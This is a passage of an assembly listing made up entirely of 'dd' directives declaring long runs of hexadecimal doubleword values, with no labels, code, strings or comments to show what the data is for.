0AD9C0790h, 10F3E8ACh, 0DE9E619Bh dd 6CC6FB00h, 38270E24h, 84B100C4h, 0E2F550DBh, 6A7CA586h dd 6400DAE4h, 62439096h, 38AAE7h, 456FCEE4h, 7FE2C799h dd 7A48E500h, 0DACF6E1Ah, 376800BBh, 0D2018EA3h, 0F1003B41h dd 7F33E46Fh, 2A7EABAh, 3F6C24DEh, 8A63FC5Dh, 0EBA916F0h dd 3A29EE00h, 8D7F5A13h, 0CCB03C7Eh, 0C01EDC1Eh, 0E421899Dh dd 0EF008279h, 0CE679211h, 578CD6h, 4546175Ah, 8D0C88FEh dd 382E350Fh, 0C9B078D8h, 0A1C11FD2h, 6C59821Fh, 0B0A94C7Dh dd 3E435400h, 0B0081E7h, 33A6FA86h, 1F6BD5FEh, 0C02B35DBh dd 0CC7E11C2h, 1300CB63h, 0FCCA303Fh, 0B32932h, 89965983h dd 0F963CEF2h, 0A5665315h, 39B500E0h, 95FC937Eh, 5FFE00D9h dd 0C7602531h, 3700445Ch, 0BD29B1F7h, 12C34948h, 0BE520491h dd 0F0EC3901h, 10209881h, 3D11FCC5h, 0F016CA6h, 3B705CB2h dd 97D4C051h, 3893F407h, 9C3068F3h, 0C43D8Fh, 0B351325Ch dd 0D588874Dh, 3E1A9601h, 16BDF1DEh, 47BBD4h, 75DEC56h dd 1CB75035h, 6CE83100h, 0D08CD12Ch, 0F4471F93h, 55EEC338h dd 0C1D8D89Fh, 0CD0064EFh, 849CDF95h, 947653Dh, 77CB8E61h dd 2FE0582Eh, 3CCE0EDh, 39F05B00h, 96FD9A7Fh, 660100C3h dd 95D8A4FBh, 5D008A11h, 105BA7E8h, 9FD484Dh, 5E326C70h dd 4C340820h, 2C0ED1ADh, 80861BD6h, 0C029F8F7h, 3D6900ACh dd 0D298B784h, 0AA05C759h, 60FA9FADh, 3C41BC4Ah, 62F3D880h dd 0BDD6D5h, 0A5A3FF80h, 814A49C5h, 69063Dh, 99EE2ADBh dd 589CAAE8h, 0A82E9EE3h, 3A7700E3h, 0F827B869h, 75E5E900h dd 1251F37Eh, 9B6700DAh, 64B49AA6h, 2419C9B5h, 38A819CEh dd 83000022h, 4967B39h, 0F900DE9Dh, 0E76EB25Ch, 0E186325h dd 9342B444h, 0FC0B61A0h, 690068EFh, 6F2C7203h, 13DFB14h dd 111553F1h, 6BE5F9C9h, 3A06B0E0h, 0C6031740h, 89C4CB16h dd 0EB7DC590h, 7F02F407h, 6B3C93h, 0FCBDCC6Ah, 2DF417h dd 22DB0EA4h, 0D7C07055h, 0F76D1507h, 0C320CED1h, 45D3D9h dd 6123F4E2h, 63607173h, 8238D800h, 8C97BF3Eh, 6A870B4Bh dd 6F8FBE5Dh, 37499038h, 96F8D50Eh, 8E85838Ah, 0FCFFB8E3h dd 15C10012h, 1A739DADh, 0D5145481h, 8CD360h, 0FC830526h dd 0DCF06Dh, 0C2D9C40Dh, 935FB651h, 0C7C6AE00h, 0EC292CCAh dd 0A2E601ACh, 0AF47F99Ah, 15A5C468h, 0FDBFCE00h, 0F279E769h dd 5898A032h, 8DD50095h, 0E0918AD8h, 0FF0102EDh, 10EBDD4Fh dd 1BC8CD0Fh, 0D8C2003Ah, 2517347Fh, 53046C43h, 8201923Bh dd 2307BCD0h, 6B1C277Dh, 0F90092D0h, 2BE58A7Ah, 480EC8E2h dd 69070837h, 0B333E991h, 70B0C244h, 0D1F206BBh, 235E3000h dd 0D6191698h, 22DC004Ah, 484EF059h, 0E5006BC5h, 0EA3146F7h dd 30D581Ah, 5F504041h, 0E9E82207h, 49024BE0h, 735C4FF2h dd 0EE5469BDh, 91C11C8h, 6CF0B02Fh, 1A760000h, 513D0D07h dd 9FA7850Ch, 98038A3Ah, 0F0C26020h, 279AAE5h, 0DF80505Dh dd 8CE00947h, 62006FB6h, 249E08A7h, 0F20B01h, 0C30DD311h dd 8504819Dh, 0FEB00E00h, 0B5F4B973h, 0CFF9033Ch, 0C31D411Fh dd 4AF5E1F0h, 11F3A70Fh, 5BBF219Eh, 0BC300BFCh, 277E060Ch dd 0DAB4A928h, 0BB312600h, 37C08995h, 0BF9B2AAEh, 7F1200E4h dd 5D3D72D1h, 2900BEF6h, 0B85731FAh, 0DB5C15h, 84E5C0E0h dd 0AA5B3063h, 0AF28191Dh, 0CB216F80h, 17E23DBEh, 0C8AC82h dd 95D498A7h, 0C90F64Dh, 0B0FE03E8h, 49DD9F00h, 8491D8C7h dd 4E5ECC8h, 0B1463E92h, 20448C42h, 0D9BDC10Eh, 7BDAE3A6h dd 0E13F98BEh, 0B2320F16h, 12201E4Ah, 976AA3D8h, 0C2810918h dd 5CD630h, 2AD1ACA4h, 83C1E154h, 1E17AA05h, 0EBC0B8A7h dd 0FAC5FFFh, 0DD3A3BDEh, 0CB76F3A0h, 31D8BF4h, 6443D794h dd 0B04D2FFEh, 49BA92h, 5438F9DFh, 0A39334C6h, 26259903h dd 80A4AC75h, 204F867h, 9FE6B772h, 0EB820843h, 60489405h dd 710036FEh, 0CB1ED7FBh, 755FC7h, 0E85B371Ah, 25D1748Eh dd 0F9096898h, 8095A7EBh, 0E5368D7Ch, 5BF4021Bh, 5F3FDDBDh dd 1D2A7CC8h, 0C7FED307h, 82207502h, 38396DD5h, 0D1009F7Ah dd 2C6AFCC0h, 0C9005E23h, 33C4888Ah, 132EE9E4h, 0FB774190h dd 0EAD5BF00h, 3EFD53h, 9B56BD5Ah, 7CA421B6h, 0B8926631h dd 41E8803Dh, 0A0A04D0Fh, 0E8EA516h, 9BA24BB6h, 866224E3h dd 0DB9588A0h, 90C599Fh, 85B48AAh, 42CF373Ch, 0C0018720h dd 3D10FE27h, 0A9B66801h, 1CD41D33h, 1BB1AFE0h, 699FE293h dd 4530B6E0h, 1060A074h, 0B8434E61h, 0B29B00D6h, 0BE576180h dd 3016E61Fh, 0BB0A1D74h, 271C5404h, 904711C0h, 74CF48B6h dd 454D0B6Fh, 8C23D6E0h, 0B2B067FBh, 2B00AB11h, 0B302F570h dd 3D1363Fh, 175FAA0Dh, 0EA98A7BEh, 0D800D2E5h, 0A99D653Ch dd 186A8CEh, 0E082FF68h, 6050D76Dh, 9B00447Eh, 0C41A9DD6h dd 78179095h, 0D1F03EB1h, 0C3E92C00h, 0C7253670h, 43AA4F00h dd 7B8E8A35h, 22570040h, 0D484D313h, 9401622Dh, 7226636Ch dd 67DC7A1Dh, 92AD5C3Bh, 53B02C00h, 0F49ABD52h, 7270C51Fh dd 0CE3D8C80h, 4A999Ch, 0E1AE585Ch, 0F85DCBA8h, 68CF1600h dd 7A9B388Fh, 8051E3BDh, 327125B7h, 4917476h, 0F930BDA8h dd 5B1A100Fh, 0FC8E5E76h, 0E8E6123Eh, 4E3D4000h, 917B46h dd 0EAD9BB7Ah, 7FE1C35Dh, 37508C17h, 8FFDE000h, 0B831ED6h dd 2A867DDDh, 8D0D4201h, 0AAF020B4h, 39056E00h, 0A9039479h dd 18F816h, 0E1EE2BF8h, 3B9EF3C8h, 0F0031B73h, 0C322AA70h dd 0EAC0952Dh, 5C632BB1h, 8900E079h, 0E9A1CE83h, 0C930431Bh dd 0F5C206B8h, 0E72C1C39h, 0CDAA803Fh, 70BA4CF6h, 0D1FE5C07h dd 9BD095C2h, 0D43E56h, 0EFA9A66Bh, 44C0B75Ah, 426D9300h dd 4ADD5CDFh, 0B1F40014h, 0B72D2C29h, 9C00558Eh, 32DB3024h dd 4D116Ch, 0D748F954h, 69E35388h, 0CC06F74h, 0FB5D077Fh dd 89A00D6h, 0E9F95518h, 0E1031B45h, 3DB7AF90h, 0FD018135h dd 29C9F8h, 7D70F2A5h, 78E87920h, 641C8301h, 0DE34B9C5h dd 62C87C8h, 136A2DFFh, 5FF6BE4Bh, 3772DCA9h, 1A23F44h dd 0A63261B6h, 0FF5D89h, 0FA06B219h, 9F550A0Bh, 0B72CD604h dd 0C0A0FDB5h, 51C5649Bh, 0DE3101ACh, 68CA9CF1h, 93C15Ch dd 0AE478864h, 550182F5h, 44A0E016h, 0A5DF811Ch, 8038B8EEh dd 0CAC0EDA4h, 3CE51F3Ch, 0DE006F9Ch, 49942B15h, 0B1070A6Bh dd 22A26732h, 7B692CA0h, 0D2840054h, 5C2DF9ABh, 400050F2h dd 724E3CAFh, 3078B21Eh, 0C0C9E75Eh, 7316E0F0h, 7518E316h dd 0FEB97BA1h, 78A800B3h, 0B4D4F5Ch, 0E500AAC7h, 0CD062BAEh dd 4C97B926h, 0EC0210FBh, 0D34045E1h, 0C2C1D868h, 5C00D4B8h dd 0B71EB99Ch, 8A1FE4h, 0D877521Bh, 615BE835h, 0C331167Bh dd 4D8E0CEFh, 982015DDh, 5CB106FCh, 919B0399h, 0B0AFA100h dd 58EE543Ch, 553700FAh, 42D849C5h, 16005994h, 5C3470EBh dd 8452B6h, 0C13ACF89h, 0C428DCEh, 80D2823Bh, 0EA6AA811h dd 121DFD52h, 0FE8BB18h, 5F41A96Ch, 0BDEE0156h, 0B8A80010h dd 77AF3A3Dh, 794E0063h, 0F30DB976h, 4C0196CEh, 0A48DE44h dd 3FD47B02h, 0A8A02884h, 0AF7901A8h, 30F01264h, 823DD8F7h dd 2B390E60h, 373B275h dd 0B57C9E33h, 0C0B7AC9Dh, 797D9BAAh, 0A08F1C28h, 0CC8A0A00h dd 0F3EE588Bh, 48AE7077h, 0A6112C26h, 0E883005Ah, 46D3BD79h dd 60F04599h, 787C97B8h, 3AFEE439h, 0AE9680FAh, 0D69A62E5h dd 0C2BF008Eh, 0DC7EB792h, 0E8125E28h, 4C008477h, 0A794DD17h dd 98C600BAh, 3BDFE3BEh, 68022DDEh, 443D2F1Dh, 403C59B2h dd 4FF58073h, 776A41C0h, 3F33C38Bh, 9D257A86h, 93079082h dd 9FE88C6Bh, 800394Bh, 0DE885DC0h, 6A65C26h, 1E1DB9F3h dd 0FF005860h, 270D2130h, 7AFC23Ah, 9BE7A479h, 96C110D0h dd 54009935h, 494F15E5h, 2EE484F2h, 10736D8h, 480ECDEDh dd 1DBC4255h, 0B8001C50h, 9392D66Fh, 7E68F4Bh, 0F45468A2h dd 3E0C90D7h, 8E60DB38h, 8DCAC918h, 0EB5700BBh, 0AE8B6541h dd 26034001h, 276C7A81h, 0D2801A6h, 45D798B7h, 3A0870F5h dd 9E5F1700h, 0F66F7FDBh, 0B6130073h, 54CED51Ah, 900133C5h dd 11F2F7A4h, 0D3D8B376h, 36721DF0h, 0D019F06Dh, 0A498A301h dd 8FBD4F00h, 0B7785ECAh, 0E0EE02D5h, 3B9A2D0Fh, 5F002070h dd 0A7EA2449h, 767B35Bh, 6460A9DDh, 7ACF5004h, 0F1121493h dd 9412404Fh, 5751FC80h, 65691FF0h, 0D788405Dh, 40830563h dd 0A0EF2501h, 0AD449CAAh, 5DF2E083h, 2FD8CD09h, 1E0C7512h dd 0FACC8852h, 48FF0064h, 393C1158h, 670761E2h, 24F72B1Bh dd 66DDBF50h, 0B4C00D7h, 2A2832E8h, 7501D9C4h, 0E63D41BCh dd 90D4AB3Bh, 0B65801E5h, 9CB43288h, 0E0B8DD87h, 2200B56Eh dd 8B1BE0B3h, 8A4F4Ch, 4A2A79EDh, 0E32D52C8h, 87E0B49Eh dd 79FDE754h, 4661076Fh, 0C03B26A6h, 5F12FA83h, 24586416h dd 0D301D040h, 2423180Dh, 11413ACh, 40F6694Eh, 9767E4BAh dd 4D2AE800h, 0F7D1277h, 0A4968Fh, 0E108061h, 6218F784h dd 1118BCBDh, 2B190C1Bh, 2361C56Ah, 3512D37Bh, 9441AA92h dd 9656C3C2h, 44F020h, 0A8EBAE4Ch, 7C4847D2h, 3820D50Eh dd 0B5798264h, 8A5C405Ch, 4C354818h, 0B6D410h, 71317263h dd 3E7B27F2h, 0C100FD15h, 0DE046EA6h, 9A00062Ah, 21F68E4Ah dd 910EF2h, 0D9C58A08h, 0F1BD55Eh, 615DC400h, 0B2AD11F3h dd 0E08003Ah, 4FAB964Eh, 721F7C87h, 88409F02h, 600B056Bh dd 5955B89Ah, 393B0043h, 71C9C800h, 3F810D95h, 0B0FCCD7Dh dd 980703ECh, 0CA19B155h, 0E16C02B0h, 0FBF55C7Bh, 9AE33A03h dd 6688275Dh, 8300D823h, 0D90D82F4h, 0E96D5FCh, 0E2AB73FEh dd 0AE67BF60h, 38009BA1h, 481FCC03h, 56B6F4h, 0FEAC71FAh dd 722F109Dh, 9D44383Ah, 4840A7C4h, 0F893425Ch, 32E05Dh dd 1EB1A957h, 0B0D98713h, 0C684C350h, 0EED74C00h, 0CCDE37E5h dd 961E000Ah, 0C99811FBh, 40016A4h, 0DD039502h, 2C0C83A2h dd 0CCE154h, 0ED3839ACh, 5038960h, 0B7512307h, 0B15000F2h dd 57154910h, 0D30034DFh, 0D4843505h, 9F7020h, 86C46326h dd 0C97F074Ah, 1C669E00h, 0CE097357h, 6329004Dh, 0F2E76960h dd 9D002A12h, 0EC70A20Ah, 2D67C9h, 593BFA2Eh, 0A44D13BEh dd 1578317Eh, 2DCD225h, 5AA88138h, 0C9000BCh, 3B27B511h dd 8F00B0C1h, 0EC2A1CD0h, 3C77A71h, 61D4084Dh, 1C8ABB4h dd 0CE00461Fh, 2DE782A3h, 7DDB45h, 1A49FB86h, 55748FE2h dd 44F45B09h, 531868E5h, 44C959FCh, 0B6984701h, 0D1903D48h dd 53C6D046h, 4310D750h, 91D6BE02h, 58AE80BAh, 0B87A1B58h dd 0CAC32088h, 0A5ABA3E0h, 1CD41B00h, 9C201D78h, 4497BD3h dd 5B9FE295h, 0D6A48231h, 0A54C82C0h, 80A29300h, 41A05629h dd 0BE550061h, 0F71C9225h, 6F3EC066h, 45B6813Bh, 0D653C73Dh dd 0E7954847h, 0D0916412h, 4FD02111h, 0C9D10355h, 0D6FC08BDh dd 1352C6E8h, 0FD010EFEh, 222C3FACh, 81ECEC5Dh, 0D59C03C4h dd 0DFC3CECFh, 0F59377C7h, 0CB48C085h, 9F006B84h, 5B5640E2h dd 3F61870Dh, 7C011DA2h, 0D1985F5Ch, 0BEF0BB10h, 0C2FC98A4h dd 14CA6A1h, 603D4D15h, 984510B6h, 8621B909h, 0D8150654h dd 0C9E2BD57h, 0ED630E1Eh, 0F400C25Eh, 49C83974h, 7B133DB6h dd 1951A684h, 72B0C06Ch, 5B00B53Bh, 0C87ED98h, 26213D12h dd 0EEB1ACBh, 75EC9019h, 4D6CAA18h, 8CA3A070h, 4C1115F8h dd 0B788583Dh, 15558581h, 94D06AEDh, 0E6450072h, 2106FC8Fh dd 68D23E2Bh, 0A0119490h, 709A6755h, 0E2773BBh, 0CA5D2001h dd 26B10CEh, 147C1081h, 87D5BC74h, 34EB239h, 0AA415B20h dd 515333A0h, 2100E908h, 8F034694h, 79303965h, 319B0444h dd 0C0EEBCF9h, 0C89CE101h, 0F13DB1C1h, 68800D6Fh, 0ABC67E73h dd 0B6030C67h, 69DD9AEh, 0C85193BFh, 390E80FEh, 4980EDBEh dd 4304E431h, 62002B61h, 18FE84B9h, 76F41Ah, 0FC1BEDC8h dd 7AEA15FBh, 0D0B38C04h, 0B0C0F940h, 471A2Fh, 0DCB4D9DAh dd 0A809984Dh, 48E86B00h, 144E2D59h, 17730090h, 699497Ch dd 3100E4B4h, 60AE1DA8h, 1901ACh, 335C3BDEh, 0E3A3ED6h dd 550044F0h, 1D37D10Ah, 0AFA832AFh, 53C16104h, 357880DEh dd 15AACA9Eh, 0BFDA0EB6h, 0F487ABCEh, 0C13AE0A4h, 5B06B767h dd 0C5D635AFh, 11FE4229h, 5321A9D8h, 90C3A208h, 7DEC84F2h dd 0A3420F48h, 0C0162292h, 9F7C882Fh, 4E2222FBh, 114A4290h dd 17287A9Ah, 8E962228h, 74112E42h, 0B3C3107Fh, 1A247D00h dd 819260BAh, 0F3B71300h, 1FB168DAh, 5DBD000Fh, 3A17759Eh dd 5C006D7Dh, 4D3C36Bh, 393C67C4h, 719781B2h, 0DD00FE5Ah dd 493EEABEh, 451E00C1h, 327E3122h, 0C3E0A411h, 0F6015D01h dd 0CB52D5D3h, 8269B07Ah, 0C6CD061Ch, 0CA642C40h, 4B0A46h dd 4F1280AFh, 4727AD6Dh, 89F21807h, 37277EA9h, 0F07D541h dd 6B12DECh, 2771E7D0h, 0B5384960h, 0DA7983C2h, 70F07Dh dd 99C94251h, 0D29676Fh, 980144FEh, 0F48CBD0Ch, 0D6C05A70h dd 0BE82008Bh, 0E27776ABh, 9F002A67h, 5094E17Fh, 3C9A84h dd 400F6487h, 0BB6F52F4h, 25DB95Ch, 21A4811Bh, 0D3FAE04Fh dd 0BF2600A1h, 5CD71944h, 6C00ACF0h, 181D357Eh, 9FC29Bh dd 0E646E580h, 2B8E0290h, 15072B90h, 0C952D67Ah, 0DF7C9FE0h dd 72A70050h, 0C40E1F0h, 674CD2E8h, 2C5C54E8h, 0DD8B230Ch dd 7BF28F7h, 0CA784B51h, 0C3723044h, 2A7CE78Ch, 0DCEDAB05h dd 0DDC05EECh, 0C03381C4h, 0FA36D3FAh, 0B7B09FFEh, 0A6C310C0h dd 40EB70DFh, 9301D412h, 7C1FB237h, 67E074D1h, 0B8541FE2h dd 53520994h, 744A020h, 64E8A539h, 0CC9BD600h, 0A4158BD2h dd 0B4853F51h, 0EA28B684h, 0CF07C081h, 41EA7C9Ah, 34023303h dd 0D9264AA6h, 0B180DB80h, 49E264C5h, 95000121h, 3D163B4h dd 50BB18h, 3C07C6E3h, 5B056EE9h, 82AFD8A0h, 844FDC00h dd 3AC96575h, 29E41E45h, 0DE434061h, 2A218D99h, 0CF638700h dd 0D9B5B1CCh, 0F1C70018h, 0D9915E7h, 437C0BCEh, 0AB146100h dd 377E714Dh, 31C40917h, 4800A751h, 0AC571AA6h, 854C100h dd 3AE43077h, 0B73E1DF5h, 0C4A8B1h, 383235DBh, 4428800Dh dd 16EE7EF6h, 83C76A00h, 0C9F69C9Fh, 9ED7006Bh, 978AAC8h dd 0BF001B29h, 0DAD31AEFh, 10632E6h, 24CE11B5h, 0CC8F8CA4h dd 5098DD54h, 324D4500h, 99BA28E2h, 1BDF003Bh, 483990F3h dd 2500E567h, 23F8DA6h, 0FC34C555h, 0EB48BAh, 8A542E7Ah dd 32C900DEh, 0E743BD01h, 47167212h, 3A3DD800h, 0EC307E59h dd 0B06C5FAEh, 0B702B626h, 0CD03E2BCh, 0F31C4801h, 0DF9717C3h dd 40400080h, 0D8430621h dd 1EC88300h, 0E2CAC6C2h, 3E580447h, 9780EE5Dh, 0F9004814h dd 0E7C2308Fh, 20BE0023h, 0B31179E9h, 10F65182h, 17665C07h dd 2E82A243h, 40040C1h, 0D3750052h, 401F817Eh, 1917652Ah dd 0AE0014EEh, 72E54341h, 20B5480Eh, 0B4F50400h, 0AC9D2E05h dd 2A4DAD0Ch, 0F848B9h, 0E5DF7E6Eh, 0FD6C1E58h, 5E0AE97Eh dd 0E0D203D0h, 88DC3500h, 1C2C30h, 70560BA3h, 0AD6E9F85h dd 2B7DD416h, 0C6BD5500h, 1B38F3Dh, 57A60D83h, 0F0BF635Eh dd 4100AF70h, 0CB716E1Dh, 0B54476h, 9A4258Fh, 0D2402318h dd 6169E4A0h, 1CFE4E00h, 7357B4DEh, 0AD1F002Fh, 1836C6Dh dd 0B800D9C9h, 0B131265Bh, 0E4871718h, 2B900BC1h, 0E6026E80h dd 5F4015E4h, 9614032Fh, 8E445F2h, 6D5E01h, 2797B935h dd 6BF2AF4Ch, 5D118800h, 26B49184h, 1253002Ch, 38C8CB43h dd 7D5452D3h, 6A038AD0h, 8BBB91ECh, 9F410289h, 0F7D34151h dd 0F181C460h, 0CFCEDF01h, 2B393295h, 0C81BBC43h, 38269C50h dd 808209D7h, 0AED84F1Ah, 59EDCC60h, 57766A02h, 40E1FFD0h dd 133EE5Ch, 5455A774h, 0C47CBD6Dh, 1A1C6426h, 0F3C099F0h dd 0A8CA8549h, 96DC00EFh, 287AB386h, 0B1672616h, 0A2FF093Eh dd 6868E36Fh, 0F5F308Ch, 43E0D316h, 0B0808049h, 0F73A204Eh dd 218F38h, 3717C5A8h, 20D257Dh, 7C95A788h, 604082E0h dd 1F0033ABh, 81DE4C21h, 147FFA6h, 80178548h, 0F6862C90h dd 0B9246C40h, 0EAD0B88h, 634853EEh, 6A694BE0h, 9EFB20BDh dd 47015EF8h, 0FCE55FEEh, 3CD8A020h, 56809D97h, 71B15081h dd 7200CB55h, 93FDA752h, 5102F5h, 0D361DCBDh, 15E4BCAh dd 8C2C8600h, 9F9D523Ch, 537C013Bh, 0BE9B3144h, 8155C530h dd 0DC890240h, 0F88B9F9Ah, 3C0F7969h, 0DFC69C60h, 0B7184598h dd 883C6C0Ah, 0EBA5039Fh, 0DA0C3938h, 0E48016BAh, 7FCE2752h dd 1015EA30h, 0A665C4h, 0D02844B8h, 0FAFB9582h, 0AF8D318h dd 0C58BDCD0h, 9FDD28h, 3EECCA88h, 5C006073h, 7A704CB2h dd 24BC78CBh, 24C49A7Bh, 54090343h, 0A801A26Ch, 4814EC82h dd 1093A3FBh, 9F8B00EDh, 0F0B68F4Eh, 49033916h, 8DFC4000h dd 0C0AB4A6Dh, 65C07C28h, 0E10CA514h, 19E519EAh, 17F5E8C3h dd 5D180AAEh, 0E98F4BF4h, 7E33020h, 0D7A09F8Dh, 7099B804h dd 0D71F2511h, 5F2CF898h, 2C648784h, 1F57ADBh, 1510EF37h dd 0D9588121h, 1B4039ACh, 0C6F12881h, 0EBE7515Ch, 0C87DE2E1h dd 6C2C6801h, 560CB112h, 0B0872821h, 0A8F004Eh, 637D80F2h dd 0E4003E02h, 22E82B95h, 7DDA5B35h, 26D10E73h, 28023165h dd 0D340ADABh, 6D3F8CFCh, 0FBF18074h, 1F5FDD34h, 1DCC4805h dd 0DAB86901h, 8014EF6Eh, 77BB4664h, 78632673h, 0B8B0EC2Ah dd 0AD6A0EFFh, 7580213Dh, 0B14A78D5h, 0EF3B200h, 2C33481Ah dd 5498D0h, 0AA2A348Dh, 3516270h, 59AEC750h, 8158814Ch dd 4A07856Eh, 0E6C7DD4h, 14E2F33Bh, 0C2B00037h, 6A812C91h dd 0FAF56901h, 432EBAAEh, 755430h, 338920F2h, 0E340B894h dd 0F300BB7Ch, 9D1F4E3Ah, 0C4E9CCh, 0AC061D9h, 242589C8h dd 0A0AC58h, 0C1DD1A50h, 3E4E9A5h, 8D77706Fh, 6AA8FE2Bh dd 0C70207E2h, 74B54796h, 589084CCh, 0FA220C80h, 7AE8B001h dd 28420004h, 0D3B3F941h, 6A04CF16h, 0D4762D6Ch, 2077DC80h dd 0E64C0130h, 840534E7h, 0DAF8244Ah, 9000BA73h, 3DF8C528h dd 262E7B77h, 120C292h, 6FB5B286h, 26642CC7h, 4C4548BCh dd 72B67280h, 349B0992h, 803179Ah, 5FA8A9BBh, 0F8000C0Bh dd 5179D673h, 22B1DACh, 3A4112A4h, 0E7D154h, 3034A4D3h dd 0B6E0F0C8h, 393E9100h, 0FE7A62E4h, 0B7210B74h, 0BC82AAADh dd 0B4C85A97h, 76004898h, 64F3BBDEh, 0A3694E4h, 0E0D1A784h dd 0A1FE01BCh, 61E74C7Bh, 0BB6D4BCh, 5300117Dh, 0A940241Bh dd 5F33A8h, 12F33E9Dh, 0A4BB3989h, 0FAF94D00h, 0F0D3208Dh dd 0C58000BFh, 3AFF3E4Bh, 290096E0h, 0AB0CDABBh, 0A1045Ch dd 70242B3Bh, 1FE15A06h, 834C8700h, 7AE8401Ch, 0BDB8F7h dd 0F93C2DE5h, 0B4317FFBh, 880F5A79h, 0E0CAB742h, 8DEB98D9h dd 0C5AB0045h, 8ACEA5A1h, 0A583986h, 5FF02B6h, 611C9E77h dd 0B8294C00h, 0C7E32709h, 41310000h, 0B50EF929h, 1C829Dh dd 0BC8D4B7Ah, 15A300AAh, 73E62C45h, 30C1C913h, 6B1B36D6h dd 0E73560h, 837F7CB1h, 0ABC726F6h, 31D84500h, 0B49C2A0Eh dd 0CBCD00D4h, 0EB4895E2h, 380306B7h, 213790FEh, 0C3B0C835h dd 418B0011h, 0A1BD22ECh, 500653Ah, 8E508F69h, 7713BA7Eh dd 5C6700F1h, 0F7DAD328h, 0D750F43Ah, 9409CAD4h, 48CD1C87h dd 0B4F8A8h, 13D57DAAh, 9554BDFBh, 0C13F8A00h, 160F718Fh dd 0DEA224B8h, 76D9264h, 0B02D4FECh, 0E3BAB79Dh, 4E9ADB00h dd 0B18D3CEAh, 3B27B0DAh, 0C3132F09h, 1EC800BAh, 0A296CA3h dd 0BB546D3Eh, 0A54D0046h, 2078DFD8h, 0F5DE1DCAh, 0EDA6001Fh dd 3E1C702h, 0CCA13B1Ch, 3A911C80h, 0DD4DF9h, 682966E9h dd 0B676B570h, 0A12A8100h, 11DB5761h, 0A8E60001h, 6A9DB3FAh dd 0B2018E3Ch, 863DA33h, 0A4D862C3h, 57780067h, 0BB9AFF48h dd 2A001297h, 0A898B603h, 3DD0859h, 0A9B23DFEh, 568069BAh dd 202D86Ch, 803311CAh, 0DC38C90Bh, 7D849C28h, 5A7F0118h dd 1434980Fh, 6F9A00AEh, 0CFC42976h, 9958BDBCh, 8AD200B4h dd 0E7A20A43h, 0C87601EDh, 1335AFD7h, 4800C361h, 7A31F632h dd 2FE2CA6h, 0C886A1B1h, 0C4EB145Dh, 8960B2D2h, 42F87AD7h dd 0BA3B5503h, 0FD9D93h, 0D45C5040h, 0A9CBD699h, 38F1385Ch dd 5656A647h, 95DB4607h, 0E8C0A561h, 0D2DAD4h, 315DC303h dd 94E73FFCh, 86D12400h, 0D3BC29DDh, 0A96A00C6h, 254FA10Ch dd 2A6FC9A3h, 0E73E6118h, 11890368h, 38077CACh, 0AFDE0138h dd 810E2013h, 6578F800h, 0EB4BE9D7h, 4CB8A2h, 0E85623EDh dd 0AF4AD364h, 0ECC13607h, 4552A3F5h, 885863C9h, 0BA6225h dd 7F0C7074h, 24E4B5ADh, 43B09950h, 1315EF7Bh, 19CDB8Dh dd 0EC5FA8B0h, 0E460F52Ah, 74FE7453h, 7EFCB219h, 0B26D183Ch dd 0A7D840C6h, 38989576h, 0B60C30Bh, 1002F0Eh, 90176FEFh dd 19864F2h, 0E892B653h, 5777DB0Dh, 0B02FE7F8h, 0A780DD40h dd 6C733905h, 0C90E6A8h, 162CA5E5h, 2B0A23Dh, 55AA9A38h dd 0FB3390E8h, 0CABA8D00h, 0E009D69Ch, 6D0C0095h, 29DC1527h dd 7800B987h, 0BBB0AE0Bh, 9060ECE7h, 235205E0h, 76DC7ADh dd 303878B8h, 0F70D1A2Dh, 0AE082CB1h, 2AE8011Eh, 0D42840h dd 163881h, 7D9654B6h, 0E6C7CB0Fh, 23A56402h, 0D061B90Bh dd 793E3810h, 0CF6F6080h, 93C808DEh, 75B64803h, 905E6D38h dd 16BAF7C1h, 103AEEh, 2526492Ch, 0A9020842h, 72AEADD8h dd 4C3F6004h, 0D11226AFh, 4B043954h, 0B07DAB43h, 311DDF38h dd 54004E2Eh, 0DA83C421h, 940E3091h, 7CB264E8h, 5E86F826h dd 71757700h, 606BE5D3h, 2C7EE9C9h, 6600FF40h, 33266D48h dd 0B02D4h, 1B7DF1E0h, 4E125B03h, 75423507h, 0AB60F224h dd 1D9D67AAh, 4EE271B4h, 59270145h, 0BD5A720Bh, 56ECFFE0h dd 660F1300h, 0D1DBA0FAh, 0AABF1D7Ch, 71CE0069h, 0C8A41973h dd 0DDE03F02h, 406D3E2Dh, 0F0EE24h, 56CEF558h, 60696F32h dd 68C9B20Ah, 410FC0D5h, 14F6A079h, 4FBCD6h, 0A527078Bh dd 0F94B6465h, 0C0D22112h, 0B9385900h, 1E8F2F20h, 0B988C91Fh dd 0F9357600h, 812D1EACh dd 0AEFB3705h, 0C0000EFAh, 7E656609h, 34201832h, 0F7111C28h dd 8DFEB709h, 0B58801Fh, 5CF04Ah, 0C49AD360h, 0EE2101B9h dd 0F5451609h, 4658E861h, 0EB90008Ch, 923AFC56h, 0BF00D5AEh dd 954A015Dh, 72258F5h, 50D05E13h, 0A2A770C8h, 600E3F9h dd 0C60CCE39h, 0D54535h, 8CA49CC1h, 0FD8E8759h, 0C99F7B00h dd 0F339ABCDh, 3D6E007Ah, 0C870EC61h, 940A2BB5h, 0E8F41E86h dd 88DBD503h, 0B643F0D1h, 0A0D9006Dh, 86A695D0h, 8703F44Ah dd 42FE2833h, 8CE1E9E2h, 0FEAB9BE0h, 0D9110181h, 8776FA32h dd 0BED430AEh, 89E4583Bh, 82FEB0h, 33697FECh, 0E6615041h dd 98CDE61Ch, 832902A7h, 0B7F5F267h, 0F521060h, 59AE3B50h dd 9B08D700h, 87BF7BBBh, 0B5D6004Bh, 0E37FA34Dh, 0D239CBE6h dd 4FDD008Bh, 0D885AB9Fh, 7F77299h, 0B4DE1A50h, 5A7C0C7h dd 3D0098DDh, 9CB8AF34h, 0F10D31Eh, 7BB7B142h, 0ABC37C40h dd 450095A8h, 4ABFA52Bh, 1D7196BCh, 5C640h, 0CBA37E3Ch dd 4E00C799h, 0AB16EC68h, 1F96CCC8h, 4258E9AFh, 208AA01Dh dd 4E0FFC80h, 645460F4h, 0F548BDF0h, 491A0086h, 0EB6F55C9h dd 4ABC0092h, 5AF79478h, 9CB03F28h, 69C3E107h, 1303605h dd 0A172E5Dh, 0CB4CD462h, 0E5A601FCh, 57813DAFh, 60A007B4h dd 0E48C311Bh, 84987A12h, 97C8C88h, 90A4B44Bh, 8C538CCCh dd 0A38300F4h, 0B3D3B491h, 2D70BF5Eh, 63BDB750h, 0C189061h dd 9EECFEDCh, 11D0081h, 97F5F041h, 20BA4DF2h, 1A54E200h dd 403D1878h, 7F17008Fh, 9791B0AFh, 5C1C3E39h, 0E2C04E89h dd 1B55DBBBh, 